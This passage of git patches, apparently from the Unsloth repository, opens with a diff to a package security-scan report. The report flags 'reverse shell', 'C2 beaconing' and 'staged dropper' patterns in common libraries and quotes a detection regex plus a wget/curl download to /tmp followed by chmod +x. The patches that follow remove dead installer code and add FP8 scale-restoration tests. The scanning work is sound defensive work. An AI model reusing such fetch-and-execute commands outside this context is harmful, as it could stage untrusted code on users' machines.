-      "evidence": "Obfusc: L2218:             _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L140:     mx.eval(model.parameters()) | L176:     mx.eval(model.parameters()) | L2022:         model.eval() | L2605:         mx.eval(model.parameters()) | L2721:         mx.eval(module.weight) | L4030:                 mx.eval(model.parameters()) | L4058:                 mx.eval(model.parameters()) | L4178:                 mx.eval(model.parameters())",
-      "evidence_hash": "9b29dade82912216c8b4808aa293b79749aa80ef1d2be35edd93bec7632810f1"
+      "evidence": "Obfusc: L2869:             _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L148:     mx.eval(model.parameters()) | L180:     mx.eval(model.parameters()) | L732:                 mx.eval(model.parameters()) | L733:                 mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L799:             mx.eval(model.parameters()) | L802:                 mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2673:         model.eval() | L3256:         mx.eval(model.parameters()) | L3372:         mx.eval(module.weight) | L5666:                 mx.eval(model.parameters()) | L5716:                 mx.eval(model.parameters()) | L5859:                 mx.eval(model.parameters())",
+      "evidence_hash": "7b44760032c5df6d379ccfdd0bff3d23f857f64e08210fa0fba8d2881d457634"
     },
     {
       "package": "unsloth-zoo",
@@ -1439,7 +1519,7 @@
       "file": "unsloth_zoo/saving_utils.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L3241:         module = __import__('transformers', fromlist=[model_class_name])\nExec: L3123:     exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3169:     exec(save_pretrained, globals(), functions)",
+      "evidence": "Obfusc: L4015:         module = __import__('transformers', fromlist=[model_class_name])\nExec: L3897:     exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3943:     exec(save_pretrained, globals(), functions)",
       "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec"
     },
     {
@@ -1449,118 +1529,6 @@
       "severity": "HIGH",
       "evidence": "Obfusc: L836:         code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736:         exec(code, globs, locs)",
       "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d"
-    },
-    {
-      "package": "multiprocess",
-      "file": "multiprocess/tests/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L3355:                     os.dup2(conn.fileno(), i) | L3387:                          \"test needs os.dup2()\") | L3405:             os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",
-      "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "scripts/scan_packages.py",
-      "check": "Writes to /tmp and executes (staged dropper)",
-      "severity": "CRITICAL",
-      "evidence": "L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",
-      "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"
-    },
-    {
-      "package": "multiprocess",
-      "file": "multiprocess/tests/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L3521:                     os.dup2(conn.fileno(), i) | L3553:                          \"test needs os.dup2()\") | L3571:             os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",
-      "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"
-    },
-    {
-      "package": "fastapi",
-      "file": "fastapi/routing.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L586:                                 while True: sha256:bef9ea429314fad39e063895a37dc5cfe9b04561f3d1acbb3c99abb4e92e6cfe",
-      "evidence_hash": "b15773e1bc249713156a349278ea60f7c0e3dd7d537affe929ab51089e1942bb"
-    },
-    {
-      "package": "tensorboard",
-      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
-      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
-      "severity": "HIGH",
-      "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
-      "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
-    },
-    {
-      "package": "fastapi",
-      "file": "fastapi/routing.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L586:                                 while True: sha256:251135b5ebfdd1248916449f32262575e003ef64382501c65b7e4061d67bda45",
-      "evidence_hash": "365aef4449c8089753d9398417cd76ab762cef547d75db70d87bca9c0b550ab5"
-    },
-    {
-      "package": "fastmcp-slim",
-      "file": "fastmcp/cli/apps_dev.py",
-      "check": "Enumerates filesystem AND makes network calls",
-      "severity": "CRITICAL",
-      "evidence": "FS: L637:     history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304:     with httpx.Client(timeout=30.0) as client: | L1318:     with httpx.Client(timeout=30.0) as client: | L1348:     with httpx.Client(timeout=30.0) as client: | L1549:         client = httpx.AsyncClient(\nL1550:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551:         ) | L1713:     async with httpx.AsyncClient(trust_env=False) as client: | L1781:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
-      "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4"
-    },
-    {
-      "package": "huggingface-hub",
-      "file": "huggingface_hub/_sandbox.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L1179:             while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38",
-      "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8"
-    },
-    {
-      "package": "huggingface-hub",
-      "file": "huggingface_hub/_sandbox.py",
-      "check": "Writes to /tmp and executes (staged dropper)",
-      "severity": "CRITICAL",
-      "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"",
-      "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22"
-    },
-    {
-      "package": "huggingface-hub",
-      "file": "huggingface_hub/hf_api.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L4613:         while True: sha256:f764b6ca3118b23c7c0e670e77178c022a6905f825d7df6e528545fa10aae8f6",
-      "evidence_hash": "9c85d50c227285fa8dc69512999cbb082258cda4b299c7d0e0f69f5aff7accd4"
-    },
-    {
-      "package": "huggingface-hub",
-      "file": "huggingface_hub/utils/_http.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L462:     while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958",
-      "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e"
-    },
-    {
-      "package": "cffi",
-      "file": "cffi/_cffi_gen_src.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L52:     compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53:     exec(compiled, globs, globs)",
-      "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9"
-    },
-    {
-      "package": "multiprocess",
-      "file": "multiprocess/forkserver.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L6: import socket sha256:6c707119169286c9a798e2c8d13a48614e481d8a503950916fd4ffb4c94d3182",
-      "evidence_hash": "50fec0f0522a8e4e636bf348b752002d7935d8455af31fb78c6f11e2eba19f6d"
-    },
-    {
-      "package": "multiprocess",
-      "file": "multiprocess/tests/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L3569:                     os.dup2(conn.fileno(), i) | L3601:                          \"test needs os.dup2()\") | L3619:             os.dup2(fd, newfd) | L20: import socket sha256:c824dc0f409f242420c3fbb324790c53cb3078d2c8b07ee8f2a05694b01c2946",
-      "evidence_hash": "3878a2b430c175dbc5877a95195bfe52f9588ff73fb74e2261ed5e33087915ad"
     }
   ]
 }

From fb5dc91bb4f33f8a4c5a41c89cbe88c93394e970 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 05:09:16 -0700
Subject: [PATCH 290/306] Studio: remove dead direct_linux_release_plan path
 (#7030)

parse_direct_linux_release_bundle and direct_linux_release_plan are no
longer reached by any live code path. Fork Linux installs resolve through
_fork_manifest_release_plans -> _linux_published_attempts, and the upstream
(ggml-org) path uses direct_upstream_release_plan. The dead parser also
called _resolve_linux_bundle_profile, which no longer exists, so its CUDA
branch would raise NameError if ever executed.

Drop both functions and the obsolete TestDirectLinuxNvidiaCpuGate; its live
equivalent TestLinuxPublishedAttemptsNvidiaCpuGate already covers the
NVIDIA no-silent-CPU behaviour.
---
 studio/install_llama_prebuilt.py             | 156 -------------------
 tests/studio/install/test_selection_logic.py |  62 --------
 2 files changed, 218 deletions(-)

diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 856ba71478..40caebc040 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -1286,162 +1286,6 @@ def synthetic_checksums_for_release(
     )
 
 
-def parse_direct_linux_release_bundle(
-    repo: str, release: dict[str, Any]
-) -> PublishedReleaseBundle | None:
-    release_tag = release.get("tag_name")
-    if not isinstance(release_tag, str) or not release_tag:
-        return None
-
-    assets = release_asset_map(release)
-    artifacts: list[PublishedLlamaArtifact] = []
-    inferred_labels: list[str] = []
-
-    linux_asset_re = re.compile(
-        r"^app-(?P<label>.+)-(?P<target>linux-x64(?:-cpu)?|linux-x64-cuda\d+-(?:older|newer|portable))\.tar\.gz$"
-    )
-    for asset_name in sorted(assets):
-        match = linux_asset_re.fullmatch(asset_name)
-        if not match:
-            continue
-        inferred_labels.append(match.group("label"))
-        target = match.group("target")
-        if target in {"linux-x64", "linux-x64-cpu"}:
-            artifacts.append(
-                PublishedLlamaArtifact(
-                    asset_name = asset_name,
-                    install_kind = "linux-cpu",
-                    runtime_line = None,
-                    coverage_class = None,
-                    supported_sms = [],
-                    min_sm = None,
-                    max_sm = None,
-                    bundle_profile = None,
-                    rank = 1000,
-                )
-            )
-            continue
-
-        bundle_profile = target.removeprefix("linux-x64-")
-        profile = _resolve_linux_bundle_profile(bundle_profile)
-        if profile is None:
-            continue
-        artifacts.append(
-            PublishedLlamaArtifact(
-                asset_name = asset_name,
-                install_kind = "linux-cuda",
-                runtime_line = str(profile["runtime_line"]),
-                coverage_class = str(profile["coverage_class"]),
-                supported_sms = [str(value) for value in profile["supported_sms"]],
-                min_sm = int(profile["min_sm"]),
-                max_sm = int(profile["max_sm"]),
-                bundle_profile = bundle_profile,
-                rank = int(profile["rank"]),
-            )
-        )
-
-    if not artifacts:
-        return None
-
-    upstream_tag = (
-        release_tag
-        if is_release_tag_like(release_tag)
-        else inferred_labels[0]
-        if len(set(inferred_labels)) == 1 and inferred_labels
-        else release_tag
-    )
-    selection_log = [
-        f"published_release: repo={repo}",
-        f"published_release: tag={release_tag}",
-        f"published_release: upstream_tag={upstream_tag}",
-        "published_release: direct_asset_scan=linux",
-    ]
-    return PublishedReleaseBundle(
-        repo = repo,
-        release_tag = release_tag,
-        upstream_tag = upstream_tag,
-        assets = assets,
-        manifest_asset_name = DEFAULT_PUBLISHED_MANIFEST_ASSET,
-        artifacts = artifacts,
-        selection_log = selection_log,
-    )
-
-
-def direct_linux_release_plan(
-    release: dict[str, Any], host: HostInfo, repo: str, requested_tag: str
-) -> InstallReleasePlan | None:
-    bundle = parse_direct_linux_release_bundle(repo, release)
-    if bundle is None:
-        return None
-    if not direct_release_matches_request(
-        release_tag = bundle.release_tag,
-        llama_tag = bundle.upstream_tag,
-        requested_tag = requested_tag,
-    ):
-        return None
-
-    attempts: list[AssetChoice] = []
-    if host.has_usable_nvidia:
-        # Prefer the cudart major Studio loads at runtime (torch's bundled
-        # libcudart), not the newest on disk. Otherwise a stray cuda13
-        # runtime outranks the torch cuda12 the binary links against.
-        torch_preference = detect_torch_cuda_runtime_preference(host)
-        selection = linux_cuda_choice_from_release(
-            host,
-            bundle,
-            preferred_runtime_line = torch_preference.runtime_line,
-            selection_preamble = torch_preference.selection_log,
-        )
-        if selection is not None:
-            attempts.extend(selection.attempts)
-    elif not host.has_rocm:
-        # A ROCm-only host gets no CPU asset: leaving attempts empty lets the
-        # raise below trigger a HIP source build instead of shipping a CPU
-        # binary on a GPU host (this ggml-org path has no per-gfx ROCm asset).
-        cpu_choice = published_asset_choice_for_kind(bundle, "linux-cpu")
-        if cpu_choice is not None:
-            attempts.append(cpu_choice)
-    # NVIDIA hosts whose CUDA selection produced nothing fall through to the
-    # raise below (mirroring the ROCm policy above): the caller then walks
-    # back to an older release that still ships a usable CUDA line instead of
-    # silently installing a CPU binary on a GPU host. Today's walk-back only
-    # works because partial releases ship no CPU bundle; this keeps it working
-    # if a future partial release does.
-    if not attempts:
-        raise PrebuiltFallback("no compatible Linux prebuilt asset was found")
-    approved_checksums = synthetic_checksums_for_release(
-        repo,
-        bundle.release_tag,
-        bundle.upstream_tag,
-    )
-    resolved_upstream_tag = bundle.upstream_tag
-    if DEFAULT_PUBLISHED_SHA256_ASSET in bundle.assets and not is_release_tag_like(
-        bundle.upstream_tag
-    ):
-        approved_checksums = load_approved_release_checksums(repo, bundle.release_tag)
-        # Require exact source provenance for branch/pull/commit releases.
-        # Mirrors validated_checksums_for_bundle so incomplete metadata fails
-        # closed instead of degrading to the legacy branch-as-tag source
-        # hydration path this PR eliminates.
-        if (
-            not approved_checksums.source_commit
-            or exact_source_archive_hash(approved_checksums) is None
-            or source_clone_url_from_checksums(approved_checksums) is None
-        ):
-            raise PrebuiltFallback(
-                f"approved checksum asset {DEFAULT_PUBLISHED_SHA256_ASSET} for "
-                f"{repo}@{bundle.release_tag} did not contain exact source provenance"
-            )
-        attempts = apply_approved_hashes(attempts, approved_checksums)
-    return InstallReleasePlan(
-        requested_tag = requested_tag,
-        llama_tag = resolved_upstream_tag,
-        release_tag = bundle.release_tag,
-        attempts = attempts,
-        approved_checksums = approved_checksums,
-    )
-
-
 def direct_upstream_release_plan(
     release: dict[str, Any], host: HostInfo, repo: str, requested_tag: str
 ) -> InstallReleasePlan | None:
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index 92f08c646b..7d3120adb8 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -2684,68 +2684,6 @@ class TestBlackwellCuda124Exclusion:
         assert kept == [cpu]
 
 
-# N.1c3. direct_linux_release_plan -- no silent CPU on NVIDIA hosts
-
-
-class TestDirectLinuxNvidiaCpuGate:
-    """A linux-cpu-only release on an NVIDIA host must raise (caller walks back to a usable CUDA line), not silently CPU-install. CPU-only hosts keep the CPU bundle."""
-
-    def _bundle_cpu_only(self):
-        return make_release(
-            [
-                make_artifact(
-                    "llama-b8508-bin-ubuntu-x64.tar.gz",
-                    install_kind = "linux-cpu",
-                    runtime_line = None,
-                    coverage_class = None,
-                    supported_sms = [],
-                    min_sm = None,
-                    max_sm = None,
-                    bundle_profile = None,
-                ),
-            ]
-        )
-
-    def _patch(self, monkeypatch):
-        monkeypatch.setattr(
-            INSTALL_LLAMA_PREBUILT,
-            "parse_direct_linux_release_bundle",
-            lambda repo, release: self._bundle_cpu_only(),
-        )
-        monkeypatch.setattr(
-            INSTALL_LLAMA_PREBUILT,
-            "detect_torch_cuda_runtime_preference",
-            lambda host: CudaRuntimePreference(runtime_line = None, selection_log = []),
-        )
-        monkeypatch.setattr(
-            INSTALL_LLAMA_PREBUILT,
-            "detected_linux_runtime_lines",
-            lambda: (["cuda13"], {"cuda13": ["/usr/local/cuda/lib64"]}),
-        )
-
-    def test_nvidia_host_without_cuda_line_raises_for_walkback(self, monkeypatch):
-        self._patch(monkeypatch)
-        host = make_host(driver_cuda_version = (13, 1), compute_caps = ["100"])
-        with pytest.raises(PrebuiltFallback, match = "no compatible Linux prebuilt"):
-            INSTALL_LLAMA_PREBUILT.direct_linux_release_plan(
-                {"tag_name": "b8508"}, host, "unslothai/llama.cpp", "latest"
-            )
-
-    def test_cpu_host_still_gets_cpu_bundle(self, monkeypatch):
-        self._patch(monkeypatch)
-        host = make_host(
-            nvidia_smi = None,
-            driver_cuda_version = None,
-            compute_caps = [],
-            has_physical_nvidia = False,
-            has_usable_nvidia = False,
-        )
-        plan = INSTALL_LLAMA_PREBUILT.direct_linux_release_plan(
-            {"tag_name": "b8508"}, host, "unslothai/llama.cpp", "latest"
-        )
-        assert [a.install_kind for a in plan.attempts] == ["linux-cpu"]
-
-
 class TestLinuxPublishedAttemptsNvidiaCpuGate:
     """Live fork-manifest path: an NVIDIA host whose CUDA selection finds nothing gets an empty attempt list (source-builds with CUDA), not the manifest CPU bundle. CPU-only hosts still get the CPU bundle."""
 

From d4fbc81d3afcdbc10e70351b356318de2b1b78b7 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 06:44:44 -0700
Subject: [PATCH 291/306] Restore dropped FP8 weight_scale_inv tensors on load
 (#6978)

* Restore dropped FP8 weight_scale_inv tensors on load

Some block-scale FP8 checkpoints (for example Qwen3.6-27B-FP8, issue #6200) load
with transformers leaving an mlp.gate_proj as a plain bf16 Linear instead of an
fp8 module. Its raw quantized values are read into the bf16 weight and the
weight_scale_inv is dropped as an unexpected key, so the weight is used un-scaled
and the base model is garbage (perplexity around 2 million).

After load, for every checkpoint weight_scale_inv whose live weight is not fp8,
dequantize the orphaned weight in place using the block scale from the checkpoint
index. Modules that were converted correctly keep an fp8 weight and are skipped,
so healthy checkpoints and single-file checkpoints are a no-op.

Verified on Qwen3.6-27B-FP8: 64 gate_proj scales restored, perplexity 2028902 to
8.9. No-op on Qwen3-8B-FP8 (all scales already live).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden FP8 weight_scale_inv restore from review

- Skip restore when the model has no fp8 weights, so an intentionally
  dequantized load (load_in_16bit) is never re-scaled and corrupted.
- Thread revision, subfolder and cache_dir through the index and shard
  downloads so scales come from the same snapshot as the weights.
- Cover unsharded single-file model.safetensors checkpoints (no index).
- Handle transposed block-scale layouts and skip on a true grid mismatch
  instead of applying a wrong scale.
- Match text-only VLM loads where the language_model prefix was stripped.
- Restore on the FastLanguageModel text path too, not only vision.
- Handle a scalar weight_block_size; per-tensor error handling so one bad
  tensor cannot abort the rest or hide a partial mutation.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address second review round on FP8 scale restore

- Bound peak memory: dequantize block views in place with the fp32 scale
  broadcast instead of materializing a full expanded scale and fp32 copy,
  so a near-VRAM-limit load is not pushed into OOM by the repair.
- Restore on the sequence-classification load path too.
- Cover more VLM key remappings (language_model.model.* to
  model.language_model.*) when matching modules.
- Skip the restore for variant loads (variant=...) rather than risk
  applying default-checkpoint scales to variant weights.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Align FP8 scale restore revision with the loaded weights and warn on disk-offloaded layers

In llama.py the CausalLM/SequenceClassification weight loads resolve model_name on its
default branch (revision is not forwarded there), so read the dropped weight_scale_inv
tensors from the same default branch instead of the requested revision, avoiding rescaling
default-branch weights with scales from another revision.

In loader_utils.py a disk-offloaded layer keeps its weight on the meta device until the
offload hook materializes it, so the scale cannot be applied in place. Skip such layers
explicitly and print a warning rather than silently leaving them unscaled.

* Tighten comments in the FP8 scale restore path

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/test_fp8_restore_dropped_scale.py | 358 ++++++++++++++++++++++++
 unsloth/models/llama.py                 |  30 +-
 unsloth/models/loader_utils.py          | 281 +++++++++++++++++++
 unsloth/models/vision.py                |  17 +-
 4 files changed, 684 insertions(+), 2 deletions(-)
 create mode 100644 tests/test_fp8_restore_dropped_scale.py

diff --git a/tests/test_fp8_restore_dropped_scale.py b/tests/test_fp8_restore_dropped_scale.py
new file mode 100644
index 0000000000..a85b24daff
--- /dev/null
+++ b/tests/test_fp8_restore_dropped_scale.py
@@ -0,0 +1,358 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""Restoring dropped block-fp8 `weight_scale_inv` tensors on load (#6200).
+
+Some block-scale fp8 checkpoints leave a Linear (e.g. `mlp.gate_proj`) unconverted, so its raw
+quantized values land in a plain bf16 weight and its `weight_scale_inv` is dropped, producing a
+garbage un-scaled weight. `_restore_dropped_fp8_scales` dequantizes such orphaned weights in place
+using the scale from the checkpoint. Runs offline on CPU with synthetic checkpoints.
+"""
+
+import json
+import os
+import tempfile
+from types import SimpleNamespace
+
+import torch
+from torch import nn
+from safetensors.torch import save_file
+
+# Import unsloth first to set UNSLOTH_IS_PRESENT env var.
+import unsloth
+from unsloth.models.loader_utils import _restore_dropped_fp8_scales, _FP8_DTYPES
+
+
+_SHARD = "model-00001-of-00001.safetensors"
+_FP8 = _FP8_DTYPES[0] if _FP8_DTYPES else None
+
+
+def _write_checkpoint(
+    path,
+    tensors,
+    filename = _SHARD,
+    include_index = True,
+):
+    save_file(tensors, os.path.join(path, filename))
+    if include_index:
+        weight_map = {name: filename for name in tensors}
+        with open(os.path.join(path, "model.safetensors.index.json"), "w") as f:
+            json.dump({"weight_map": weight_map}, f)
+
+
+def _fp8_config(block = (2, 2)):
+    return SimpleNamespace(
+        quantization_config = {
+            "quant_method": "fp8",
+            "weight_block_size": list(block),
+        }
+    )
+
+
+def _fp8_anchor():
+    """A module carrying a real fp8 weight, so the model looks like a genuine fp8 load."""
+    m = nn.Linear(2, 2, bias = False)
+    m.weight = nn.Parameter(torch.randn(2, 2).to(_FP8), requires_grad = False)
+    return m
+
+
+def _bf16_linear(out_f, in_f, raw):
+    m = nn.Linear(in_f, out_f, bias = False).to(torch.bfloat16)
+    with torch.no_grad():
+        m.weight.copy_(raw)
+    return m
+
+
+def _expand(scale, block, shape):
+    bs0, bs1 = block
+    expanded = scale.repeat_interleave(bs0, dim = 0).repeat_interleave(bs1, dim = 1)
+    return expanded[: shape[0], : shape[1]]
+
+
+def test_restore_dequantizes_orphaned_scale():
+    """A plain bf16 weight whose scale was dropped is dequantized in place."""
+    if _FP8 is None:
+        return
+    torch.manual_seed(0)
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(
+            d,
+            {
+                "layer.weight": raw.to(torch.float32),
+                "layer.weight_scale_inv": scale,
+            },
+        )
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (4, 4))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_skips_already_fp8_weight():
+    """A correctly converted fp8 weight is skipped, never double-scaled."""
+    if _FP8 is None:
+        return
+    weight = torch.randn(4, 4).to(_FP8)
+    before = weight.clone()
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.layer = nn.Linear(4, 4, bias = False)
+    model.layer.weight = nn.Parameter(weight, requires_grad = False)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": torch.rand(2, 2)})
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 0 and skipped == 1
+    assert torch.equal(model.layer.weight.data.float(), before.float())
+
+
+def test_skips_offloaded_meta_weight():
+    """A disk-offloaded layer (weight on the meta device) is skipped without error or restore."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = nn.Linear(4, 4, bias = False)
+    # Simulate an offloaded weight living on the meta device.
+    model.layer.weight = nn.Parameter(
+        torch.empty(4, 4, dtype = torch.bfloat16, device = "meta"), requires_grad = False
+    )
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(
+            d,
+            {
+                "layer.weight": raw.to(torch.float32),
+                "layer.weight_scale_inv": scale,
+            },
+        )
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 0
+    assert model.layer.weight.device.type == "meta"
+
+
+def test_noop_when_fully_dequantized():
+    """If the model has no fp8 weights at all (e.g. load_in_16bit dequantize), do not rescale."""
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.layer = _bf16_linear(4, 4, raw)  # no fp8 anchor -> looks dequantized
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert (restored, skipped) == (0, 0)
+    assert torch.equal(model.layer.weight.data, raw)  # untouched
+
+
+def test_non_block_divisible_shape():
+    """Block scale is expanded then sliced to a non-divisible weight shape."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(3, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(3, 4, raw)  # weight shape [3, 4]
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (3, 4))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_transposed_scale_layout():
+    """A scale stored in the transposed block grid is transposed before use."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 2, dtype = torch.bfloat16)  # weight [4, 2] -> grid (2, 1)
+    scale_correct = torch.rand(2, 1, dtype = torch.float32) + 0.1
+    scale_stored = scale_correct.t().contiguous()  # stored transposed as (1, 2)
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 2, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale_stored})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale_correct, (2, 2), (4, 2))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_single_file_checkpoint_without_index():
+    """Unsharded model.safetensors (no index) is still scanned for dropped scales."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(
+            d, {"layer.weight_scale_inv": scale}, filename = "model.safetensors", include_index = False
+        )
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (4, 4))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_scalar_block_size_config():
+    """A scalar weight_block_size (not a list) is handled without error."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
